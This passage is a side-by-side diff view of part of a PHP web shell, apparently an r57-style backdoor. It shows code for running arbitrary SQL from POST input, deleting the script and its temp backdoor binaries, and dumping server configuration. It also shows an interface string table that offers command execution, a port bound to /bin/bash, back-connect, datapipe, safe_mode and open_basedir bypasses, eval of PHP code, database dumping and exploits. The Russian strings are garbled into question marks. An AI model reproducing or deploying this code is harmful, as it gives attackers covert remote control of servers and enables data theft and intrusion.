| 501 | echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; | 501 | echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; |
| 502 | echo "</form>"; | 502 | echo "</form>"; |
| 503 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); | 503 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); |
| 504 | } | 504 | } |
| 505 | if(isset($_GET['delete'])) | 505 | if(isset($_GET['delete'])) |
| 506 | { | 506 | { |
| 507 | @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); | 507 | @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); |
| 508 | } | 508 | } |
| 509 | if(isset($_GET['tmp'])) | 509 | if(isset($_GET['tmp'])) |
| 510 | { | 510 | { |
| 511 | @unlink("/tmp/bdpl"); | 511 | @unlink("/tmp/bdpl"); |
| 512 | @unlink("/tmp/back"); | 512 | @unlink("/tmp/back"); |
| 513 | @unlink("/tmp/bd"); | 513 | @unlink("/tmp/bd"); |
| 514 | @unlink("/tmp/bd.c"); | 514 | @unlink("/tmp/bd.c"); |
| 515 | @unlink("/tmp/dp"); | 515 | @unlink("/tmp/dp"); |
| 516 | @unlink("/tmp/dpc"); | 516 | @unlink("/tmp/dpc"); |
| 517 | @unlink("/tmp/dpc.c"); | 517 | @unlink("/tmp/dpc.c"); |
| 518 | } | 518 | } |
| 519 | if(isset($_GET['phpini'])) | 519 | if(isset($_GET['phpini'])) |
| 520 | { | 520 | { |
| 521 | echo $head; | 521 | echo $head; |
| 522 | function U_value($value) | 522 | function U_value($value) |
| 523 | { | 523 | { |
| 524 | if ($value == '') return '<i>no value</i>'; | 524 | if ($value == '') return '<i>no value</i>'; |
| 525 | if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; | 525 | if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; |
| 526 | if ($value === null) return 'NULL'; | 526 | if ($value === null) return 'NULL'; |
| 527 | if (@is_object($value)) $value = (array) $value; | 527 | if (@is_object($value)) $value = (array) $value; |
| 528 | if (@is_array($value)) | 528 | if (@is_array($value)) |
| 529 | { | 529 | { |
| 530 | @ob_start(); | 530 | @ob_start(); |
| 531 | print_r($value); | 531 | print_r($value); |
| 532 | $value = @ob_get_contents(); | 532 | $value = @ob_get_contents(); |
| 533 | @ob_end_clean(); | 533 | @ob_end_clean(); |
| 534 | } | 534 | } |
| 535 | return U_wordwrap((string) $value); | 535 | return U_wordwrap((string) $value); |
| 536 | } | 536 | } |
| 537 | function U_wordwrap($str) | 537 | function U_wordwrap($str) |
| 538 | { | 538 | { |
| 539 | $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); | 539 | $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); |
| 540 | return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); | 540 | return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); |
| 541 | } | 541 | } |
| 542 | if (@function_exists('ini_get_all')) | 542 | if (@function_exists('ini_get_all')) |
| 543 | { | 543 | { |
| 544 | $r = ''; | 544 | $r = ''; |
| 545 | echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; | 545 | echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; |
| 546 | foreach (@ini_get_all() as $key=>$value) | 546 | foreach (@ini_get_all() as $key=>$value) |
| 547 | { | 547 | { |
| 548 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; | 548 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; |
| 549 | } | 549 | } |
| 550 | echo $r; | 550 | echo $r; |
| 551 | echo '</table>'; | 551 | echo '</table>'; |
| 552 | } | 552 | } |
| 553 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; | 553 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; |
| 554 | die(); | 554 | die(); |
| 555 | } | 555 | } |
| 556 | if(isset($_GET['cpu'])) | 556 | if(isset($_GET['cpu'])) |
| 557 | { | 557 | { |
| 558 | echo $head; | 558 | echo $head; |
| 559 | echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; | 559 | echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; |
| 560 | $cpuf = @file("cpuinfo"); | 560 | $cpuf = @file("cpuinfo"); |
| 561 | if($cpuf) | 561 | if($cpuf) |
| 562 | { | 562 | { |
| 563 | $c = @sizeof($cpuf); | 563 | $c = @sizeof($cpuf); |
| 564 | for($i=0;$i<$c;$i++) | 564 | for($i=0;$i<$c;$i++) |
| 565 | { | 565 | { |
| 566 | $info = @explode(":",$cpuf[$i]); | 566 | $info = @explode(":",$cpuf[$i]); |
| 567 | if($info[1]==""){ $info[1]="---"; } | 567 | if($info[1]==""){ $info[1]="---"; } |
| 568 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; | 568 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; |
| 569 | } | 569 | } |
| 570 | echo $r; | 570 | echo $r; |
| 571 | } | 571 | } |
| 572 | else | 572 | else |
| 573 | { | 573 | { |
| 574 | echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; | 574 | echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; |
| 575 | } | 575 | } |
| 576 | echo '</table>'; | 576 | echo '</table>'; |
| 577 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; | 577 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; |
| 578 | die(); | 578 | die(); |
| 579 | } | 579 | } |
| 580 | if(isset($_GET['mem'])) | 580 | if(isset($_GET['mem'])) |
| 581 | { | 581 | { |
| 582 | echo $head; | 582 | echo $head; |
| 583 | echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; | 583 | echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; |
| 584 | $memf = @file("meminfo"); | 584 | $memf = @file("meminfo"); |
| 585 | if($memf) | 585 | if($memf) |
| 586 | { | 586 | { |
| 587 | $c = sizeof($memf); | 587 | $c = sizeof($memf); |
| 588 | for($i=0;$i<$c;$i++) | 588 | for($i=0;$i<$c;$i++) |
| 589 | { | 589 | { |
| 590 | $info = explode(":",$memf[$i]); | 590 | $info = explode(":",$memf[$i]); |
| 591 | if($info[1]==""){ $info[1]="---"; } | 591 | if($info[1]==""){ $info[1]="---"; } |
| 592 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; | 592 | $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; |
| 593 | } | 593 | } |
| 594 | echo $r; | 594 | echo $r; |
| 595 | } | 595 | } |
| 596 | else | 596 | else |
| 597 | { | 597 | { |
| 598 | echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; | 598 | echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; |
| 599 | } | 599 | } |
| 600 | echo '</table>'; | 600 | echo '</table>'; |
| 601 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; | 601 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; |
| 602 | die(); | 602 | die(); |
| 603 | } | 603 | } |
| 604 | $lang=array( | 604 | $lang=array( |
| 605 | 'ru_text1' =>'??????????? ???????', | 605 | 'ru_text1' =>'??????????? ???????', |
| 606 | 'ru_text2' =>'?????????? ?????? ?? ???????', | 606 | 'ru_text2' =>'?????????? ?????? ?? ???????', |
| 607 | 'ru_text3' =>'????????? ???????', | 607 | 'ru_text3' =>'????????? ???????', |
| 608 | 'ru_text4' =>'??????? ??????????', | 608 | 'ru_text4' =>'??????? ??????????', |
| 609 | 'ru_text5' =>'???????? ?????? ?? ??????', | 609 | 'ru_text5' =>'???????? ?????? ?? ??????', |
| 610 | 'ru_text6' =>'????????? ????', | 610 | 'ru_text6' =>'????????? ????', |
| 611 | 'ru_text7' =>'??????', | 611 | 'ru_text7' =>'??????', |
| 612 | 'ru_text8' =>'???????? ?????', | 612 | 'ru_text8' =>'???????? ?????', |
| 613 | 'ru_butt1' =>'?????????', | 613 | 'ru_butt1' =>'?????????', |
| 614 | 'ru_butt2' =>'?????????', | 614 | 'ru_butt2' =>'?????????', |
| 615 | 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', | 615 | 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', |
| 616 | 'ru_text10'=>'??????? ????', | 616 | 'ru_text10'=>'??????? ????', |
| 617 | 'ru_text11'=>'?????? ??? ???????', | 617 | 'ru_text11'=>'?????? ??? ???????', |
| 618 | 'ru_butt3' =>'???????', | 618 | 'ru_butt3' =>'???????', |
| 619 | 'ru_text12'=>'back-connect', | 619 | 'ru_text12'=>'back-connect', |
| 620 | 'ru_text13'=>'IP-?????', | 620 | 'ru_text13'=>'IP-?????', |
| 621 | 'ru_text14'=>'????', | 621 | 'ru_text14'=>'????', |
| 622 | 'ru_butt4' =>'?????????', | 622 | 'ru_butt4' =>'?????????', |
| 623 | 'ru_text15'=>'???????? ?????? ? ?????????? ???????', | 623 | 'ru_text15'=>'???????? ?????? ? ?????????? ???????', |
| 624 | 'ru_text16'=>'????????????', | 624 | 'ru_text16'=>'????????????', |
| 625 | 'ru_text17'=>'????????? ????', | 625 | 'ru_text17'=>'????????? ????', |
| 626 | 'ru_text18'=>'????????? ????', | 626 | 'ru_text18'=>'????????? ????', |
| 627 | 'ru_text19'=>'Exploits', | 627 | 'ru_text19'=>'Exploits', |
| 628 | 'ru_text20'=>'????????????', | 628 | 'ru_text20'=>'????????????', |
| 629 | 'ru_text21'=>'????? ???', | 629 | 'ru_text21'=>'????? ???', |
| 630 | 'ru_text22'=>'datapipe', | 630 | 'ru_text22'=>'datapipe', |
| 631 | 'ru_text23'=>'????????? ????', | 631 | 'ru_text23'=>'????????? ????', |
| 632 | 'ru_text24'=>'????????? ????', | 632 | 'ru_text24'=>'????????? ????', |
| 633 | 'ru_text25'=>'????????? ????', | 633 | 'ru_text25'=>'????????? ????', |
| 634 | 'ru_text26'=>'????????????', | 634 | 'ru_text26'=>'????????????', |
| 635 | 'ru_butt5' =>'?????????', | 635 | 'ru_butt5' =>'?????????', |
| 636 | 'ru_text28'=>'?????? ? safe_mode', | 636 | 'ru_text28'=>'?????? ? safe_mode', |
| 637 | 'ru_text29'=>'?????? ????????', | 637 | 'ru_text29'=>'?????? ????????', |
| 638 | 'ru_butt6' =>'???????', | 638 | 'ru_butt6' =>'???????', |
| 639 | 'ru_text30'=>'???????? ?????', | 639 | 'ru_text30'=>'???????? ?????', |
| 640 | 'ru_butt7' =>'???????', | 640 | 'ru_butt7' =>'???????', |
| 641 | 'ru_text31'=>'???? ?? ??????', | 641 | 'ru_text31'=>'???? ?? ??????', |
| 642 | 'ru_text32'=>'?????????? PHP ????', | 642 | 'ru_text32'=>'?????????? PHP ????', |
| 643 | 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', | 643 | 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', |
| 644 | 'ru_butt8' =>'?????????', | 644 | 'ru_butt8' =>'?????????', |
| 645 | 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', | 645 | 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', |
| 646 | 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', | 646 | 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', |
| 647 | 'ru_text36'=>'????', | 647 | 'ru_text36'=>'????', |
| 648 | 'ru_text37'=>'?????', | 648 | 'ru_text37'=>'?????', |
| 649 | 'ru_text38'=>'??????', | 649 | 'ru_text38'=>'??????', |
| 650 | 'ru_text39'=>'???????', | 650 | 'ru_text39'=>'???????', |
| 651 | 'ru_text40'=>'???? ??????? ???? ??????', | 651 | 'ru_text40'=>'???? ??????? ???? ??????', |
| 652 | 'ru_butt9' =>'????', | 652 | 'ru_butt9' =>'????', |
| 653 | 'ru_text41'=>'????????? ? ?????', | 653 | 'ru_text41'=>'????????? ? ?????', |
| 654 | 'ru_text42'=>'?????????????? ?????', | 654 | 'ru_text42'=>'?????????????? ?????', |
| 655 | 'ru_text43'=>'????????????? ????', | 655 | 'ru_text43'=>'????????????? ????', |
| 656 | 'ru_butt10'=>'?????????', | 656 | 'ru_butt10'=>'?????????', |
| 657 | 'ru_butt11'=>'?????????????', | 657 | 'ru_butt11'=>'?????????????', |
| 658 | 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', | 658 | 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', |
| 659 | 'ru_text45'=>'???? ????????', | 659 | 'ru_text45'=>'???? ????????', |
| 660 | 'ru_text46'=>'???????? phpinfo()', | 660 | 'ru_text46'=>'???????? phpinfo()', |
| 661 | 'ru_text47'=>'???????? ???????? php.ini', | 661 | 'ru_text47'=>'???????? ???????? php.ini', |
| 662 | 'ru_text48'=>'???????? ????????? ??????', | 662 | 'ru_text48'=>'???????? ????????? ??????', |
| 663 | 'ru_text49'=>'???????? ??????? ? ???????', | 663 | 'ru_text49'=>'???????? ??????? ? ???????', |
| 664 | 'ru_text50'=>'?????????? ? ??????????', | 664 | 'ru_text50'=>'?????????? ? ??????????', |
| 665 | 'ru_text51'=>'?????????? ? ??????', | 665 | 'ru_text51'=>'?????????? ? ??????', |
| 666 | 'ru_text52'=>'????? ??? ??????', | 666 | 'ru_text52'=>'????? ??? ??????', |
| 667 | 'ru_text53'=>'?????? ? ?????', | 667 | 'ru_text53'=>'?????? ? ?????', |
| 668 | 'ru_text54'=>'????? ?????? ? ??????', | 668 | 'ru_text54'=>'????? ?????? ? ??????', |
| 669 | 'ru_butt12'=>'?????', | 669 | 'ru_butt12'=>'?????', |
| 670 | 'ru_text55'=>'?????? ? ??????', | 670 | 'ru_text55'=>'?????? ? ??????', |
| 671 | 'ru_text56'=>'?????? ?? ???????', | 671 | 'ru_text56'=>'?????? ?? ???????', |
| 672 | 'ru_text57'=>'???????/??????? ????/??????????', | 672 | 'ru_text57'=>'???????/??????? ????/??????????', |
| 673 | 'ru_text58'=>'???', | 673 | 'ru_text58'=>'???', |
| 674 | 'ru_text59'=>'????', | 674 | 'ru_text59'=>'????', |
| 675 | 'ru_text60'=>'??????????', | 675 | 'ru_text60'=>'??????????', |
| 676 | 'ru_butt13'=>'???????/???????', | 676 | 'ru_butt13'=>'???????/???????', |
| 677 | 'ru_text61'=>'???? ??????', | 677 | 'ru_text61'=>'???? ??????', |
| 678 | 'ru_text62'=>'?????????? ???????', | 678 | 'ru_text62'=>'?????????? ???????', |
| 679 | 'ru_text63'=>'???? ??????', | 679 | 'ru_text63'=>'???? ??????', |
| 680 | 'ru_text64'=>'?????????? ???????', | 680 | 'ru_text64'=>'?????????? ???????', |
| 681 | 'ru_text65'=>'???????', | 681 | 'ru_text65'=>'???????', |
| 682 | 'ru_text66'=>'???????', | 682 | 'ru_text66'=>'???????', |
| 683 | 'ru_text67'=>'Chown/Chgrp/Chmod', | 683 | 'ru_text67'=>'Chown/Chgrp/Chmod', |
| 684 | 'ru_text68'=>'???????', | 684 | 'ru_text68'=>'???????', |
| 685 | 'ru_text69'=>'????????1', | 685 | 'ru_text69'=>'????????1', |
| 686 | 'ru_text70'=>'????????2', | 686 | 'ru_text70'=>'????????2', |
| 687 | 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", | 687 | 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", |
| 688 | 'ru_text72'=>'????? ??? ??????', | 688 | 'ru_text72'=>'????? ??? ??????', |
| 689 | 'ru_text73'=>'?????? ? ?????', | 689 | 'ru_text73'=>'?????? ? ?????', |
| 690 | 'ru_text74'=>'?????? ? ??????', | 690 | 'ru_text74'=>'?????? ? ??????', |
| 691 | 'ru_text75'=>'* ????? ???????????? ?????????? ?????????', | 691 | 'ru_text75'=>'* ????? ???????????? ?????????? ?????????', |
| 692 | 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', | 692 | 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', |
| 693 | 'ru_text77'=>'???????? ????????? ???? ??????', | 693 | 'ru_text77'=>'???????? ????????? ???? ??????', |
| 694 | 'ru_text78'=>'?????????? ???????', | 694 | 'ru_text78'=>'?????????? ???????', |
| 695 | 'ru_text79'=>'?????????? ???????', | 695 | 'ru_text79'=>'?????????? ???????', |
| 696 | 'ru_text80'=>'???', | 696 | 'ru_text80'=>'???', |
| 697 | 'ru_text81'=>'????', | 697 | 'ru_text81'=>'????', |
| 698 | 'ru_text82'=>'???? ??????', | 698 | 'ru_text82'=>'???? ??????', |
| 699 | 'ru_text83'=>'?????????? SQL ???????', | 699 | 'ru_text83'=>'?????????? SQL ???????', |
| 700 | 'ru_text84'=>'SQL ??????', | 700 | 'ru_text84'=>'SQL ??????', |
| 701 | 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', | 701 | 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', |
| 702 | 'ru_text86'=>'?????????? ????? ? ???????', | 702 | 'ru_text86'=>'?????????? ????? ? ???????', |
| 703 | 'ru_butt14'=>'???????', | 703 | 'ru_butt14'=>'???????', |
| 704 | 'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', | 704 | 'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', |
| 705 | 'ru_text88'=>'FTP-??????:????', | 705 | 'ru_text88'=>'FTP-??????:????', |
| 706 | 'ru_text89'=>'???? ?? ftp ???????', | 706 | 'ru_text89'=>'???? ?? ftp ???????', |
| 707 | 'ru_text90'=>'????? ????????', | 707 | 'ru_text90'=>'????? ????????', |
| 708 | 'ru_text91'=>'???????????? ?', | 708 | 'ru_text91'=>'???????????? ?', |
| 709 | 'ru_text92'=>'??? ?????????', | 709 | 'ru_text92'=>'??? ?????????', |
| 710 | 'ru_text93'=>'FTP', | 710 | 'ru_text93'=>'FTP', |
| 711 | 'ru_text94'=>'FTP-????????', | 711 | 'ru_text94'=>'FTP-????????', |
| 712 | 'ru_text95'=>'?????? ?????????????', | 712 | 'ru_text95'=>'?????? ?????????????', |
| 713 | 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', | 713 | 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', |
| 714 | 'ru_text97'=>'????????? ??????????: ', | 714 | 'ru_text97'=>'????????? ??????????: ', |
| 715 | 'ru_text98'=>'??????? ???????????: ', | 715 | 'ru_text98'=>'??????? ???????????: ', |
| 716 | 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', | 716 | 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', |
| 717 | 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', | 717 | 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', |
| 718 | 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', | 718 | 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', |
| 719 | 'ru_text102'=>'?????', | 719 | 'ru_text102'=>'?????', |
| 720 | 'ru_text103'=>'???????? ??????', | 720 | 'ru_text103'=>'???????? ??????', |
| 721 | 'ru_text104'=>'???????? ????? ?? ???????? ????', | 721 | 'ru_text104'=>'???????? ????? ?? ???????? ????', |
| 722 | 'ru_text105'=>'????', | 722 | 'ru_text105'=>'????', |
| 723 | 'ru_text106'=>'??', | 723 | 'ru_text106'=>'??', |
| 724 | 'ru_text107'=>'????', | 724 | 'ru_text107'=>'????', |
| 725 | 'ru_butt15'=>'?????????', | 725 | 'ru_butt15'=>'?????????', |
| 726 | 'ru_text108'=>'????? ??????', | 726 | 'ru_text108'=>'????? ??????', |
| 727 | 'ru_text109'=>'????????', | 727 | 'ru_text109'=>'????????', |
| 728 | 'ru_text110'=>'??????????', | 728 | 'ru_text110'=>'??????????', |
| 729 | /* --------------------------------------------------------------- */ | 729 | /* --------------------------------------------------------------- */ |
| 730 | 'eng_text1' =>'Executed command', | 730 | 'eng_text1' =>'Executed command', |
| 731 | 'eng_text2' =>'Execute command on server', | 731 | 'eng_text2' =>'Execute command on server', |
| 732 | 'eng_text3' =>'Run command', | 732 | 'eng_text3' =>'Run command', |
| 733 | 'eng_text4' =>'Work directory', | 733 | 'eng_text4' =>'Work directory', |
| 734 | 'eng_text5' =>'Upload files on server', | 734 | 'eng_text5' =>'Upload files on server', |
| 735 | 'eng_text6' =>'Local file', | 735 | 'eng_text6' =>'Local file', |
| 736 | 'eng_text7' =>'Aliases', | 736 | 'eng_text7' =>'Aliases', |
| 737 | 'eng_text8' =>'Select alias', | 737 | 'eng_text8' =>'Select alias', |
| 738 | 'eng_butt1' =>'Execute', | 738 | 'eng_butt1' =>'Execute', |
| 739 | 'eng_butt2' =>'Upload', | 739 | 'eng_butt2' =>'Upload', |
| 740 | 'eng_text9' =>'Bind port to /bin/bash', | 740 | 'eng_text9' =>'Bind port to /bin/bash', |
| 741 | 'eng_text10'=>'Port', | 741 | 'eng_text10'=>'Port', |
| 742 | 'eng_text11'=>'Password for access', | 742 | 'eng_text11'=>'Password for access', |
| 743 | 'eng_butt3' =>'Bind', | 743 | 'eng_butt3' =>'Bind', |
| 744 | 'eng_text12'=>'back-connect', | 744 | 'eng_text12'=>'back-connect', |
| 745 | 'eng_text13'=>'IP', | 745 | 'eng_text13'=>'IP', |
| 746 | 'eng_text14'=>'Port', | 746 | 'eng_text14'=>'Port', |
| 747 | 'eng_butt4' =>'Connect', | 747 | 'eng_butt4' =>'Connect', |
| 748 | 'eng_text15'=>'Upload files from remote server', | 748 | 'eng_text15'=>'Upload files from remote server', |
| 749 | 'eng_text16'=>'With', | 749 | 'eng_text16'=>'With', |
| 750 | 'eng_text17'=>'Remote file', | 750 | 'eng_text17'=>'Remote file', |
| 751 | 'eng_text18'=>'Local file', | 751 | 'eng_text18'=>'Local file', |
| 752 | 'eng_text19'=>'Exploits', | 752 | 'eng_text19'=>'Exploits', |
| 753 | 'eng_text20'=>'Use', | 753 | 'eng_text20'=>'Use', |
| 754 | 'eng_text21'=>' New name', | 754 | 'eng_text21'=>' New name', |
| 755 | 'eng_text22'=>'datapipe', | 755 | 'eng_text22'=>'datapipe', |
| 756 | 'eng_text23'=>'Local port', | 756 | 'eng_text23'=>'Local port', |
| 757 | 'eng_text24'=>'Remote host', | 757 | 'eng_text24'=>'Remote host', |
| 758 | 'eng_text25'=>'Remote port', | 758 | 'eng_text25'=>'Remote port', |
| 759 | 'eng_text26'=>'Use', | 759 | 'eng_text26'=>'Use', |
| 760 | 'eng_butt5' =>'Run', | 760 | 'eng_butt5' =>'Run', |
| 761 | 'eng_text28'=>'Work in safe_mode', | 761 | 'eng_text28'=>'Work in safe_mode', |
| 762 | 'eng_text29'=>'ACCESS DENIED', | 762 | 'eng_text29'=>'ACCESS DENIED', |
| 763 | 'eng_butt6' =>'Change', | 763 | 'eng_butt6' =>'Change', |
| 764 | 'eng_text30'=>'Cat file', | 764 | 'eng_text30'=>'Cat file', |
| 765 | 'eng_butt7' =>'Show', | 765 | 'eng_butt7' =>'Show', |
| 766 | 'eng_text31'=>'File not found', | 766 | 'eng_text31'=>'File not found', |
| 767 | 'eng_text32'=>'Eval PHP code', | 767 | 'eng_text32'=>'Eval PHP code', |
| 768 | 'eng_text33'=>'Test bypass open_basedir with cURL functions', | 768 | 'eng_text33'=>'Test bypass open_basedir with cURL functions', |
| 769 | 'eng_butt8' =>'Test', | 769 | 'eng_butt8' =>'Test', |
| 770 | 'eng_text34'=>'Test bypass safe_mode with include function', | 770 | 'eng_text34'=>'Test bypass safe_mode with include function', |
| 771 | 'eng_text35'=>'Test bypass safe_mode with load file in mysql', | 771 | 'eng_text35'=>'Test bypass safe_mode with load file in mysql', |
| 772 | 'eng_text36'=>'Database', | 772 | 'eng_text36'=>'Database', |
| 773 | 'eng_text37'=>'Login', | 773 | 'eng_text37'=>'Login', |
| 774 | 'eng_text38'=>'Password', | 774 | 'eng_text38'=>'Password', |
| 775 | 'eng_text39'=>'Table', | 775 | 'eng_text39'=>'Table', |
| 776 | 'eng_text40'=>'Dump database table', | 776 | 'eng_text40'=>'Dump database table', |
| 777 | 'eng_butt9' =>'Dump', | 777 | 'eng_butt9' =>'Dump', |
| 778 | 'eng_text41'=>'Save dump in file', | 778 | 'eng_text41'=>'Save dump in file', |
| 779 | 'eng_text42'=>'Edit files', | 779 | 'eng_text42'=>'Edit files', |
| 780 | 'eng_text43'=>'File for edit', | 780 | 'eng_text43'=>'File for edit', |
| 781 | 'eng_butt10'=>'Save', | 781 | 'eng_butt10'=>'Save', |
| 782 | 'eng_text44'=>'Can\'t edit file! Only read access!', | 782 | 'eng_text44'=>'Can\'t edit file! Only read access!', |
| 783 | 'eng_text45'=>'File saved', | 783 | 'eng_text45'=>'File saved', |
| 784 | 'eng_text46'=>'Show phpinfo()', | 784 | 'eng_text46'=>'Show phpinfo()', |
| 785 | 'eng_text47'=>'Show variables from php.ini', | 785 | 'eng_text47'=>'Show variables from php.ini', |
| 786 | 'eng_text48'=>'Delete temp files', | 786 | 'eng_text48'=>'Delete temp files', |
| 787 | 'eng_butt11'=>'Edit file', | 787 | 'eng_butt11'=>'Edit file', |
| 788 | 'eng_text49'=>'Delete script from server', | 788 | 'eng_text49'=>'Delete script from server', |
| 789 | 'eng_text50'=>'View cpu info', | 789 | 'eng_text50'=>'View cpu info', |
| 790 | 'eng_text51'=>'View memory info', | 790 | 'eng_text51'=>'View memory info', |
| 791 | 'eng_text52'=>'Find text', | 791 | 'eng_text52'=>'Find text', |
| 792 | 'eng_text53'=>'In dirs', | 792 | 'eng_text53'=>'In dirs', |
| 793 | 'eng_text54'=>'Find text in files', | 793 | 'eng_text54'=>'Find text in files', |
| 794 | 'eng_butt12'=>'Find', | 794 | 'eng_butt12'=>'Find', |
| 795 | 'eng_text55'=>'Only in files', | 795 | 'eng_text55'=>'Only in files', |
| 796 | 'eng_text56'=>'Nothing :(', | 796 | 'eng_text56'=>'Nothing :(', |
